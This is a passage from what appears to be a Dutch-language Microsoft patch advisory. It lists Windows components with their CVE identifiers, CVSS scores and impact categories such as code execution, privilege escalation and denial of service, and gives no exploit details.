| 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              